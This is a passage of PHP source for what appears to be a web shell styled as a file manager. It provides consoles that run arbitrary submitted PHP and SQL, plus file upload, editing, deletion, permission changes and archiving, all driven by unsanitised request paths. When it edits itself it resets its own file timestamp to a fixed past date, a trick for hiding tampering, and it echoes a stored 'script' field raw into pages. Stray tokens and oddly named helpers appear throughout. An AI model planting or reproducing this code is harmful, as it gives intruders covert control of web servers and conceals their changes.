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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
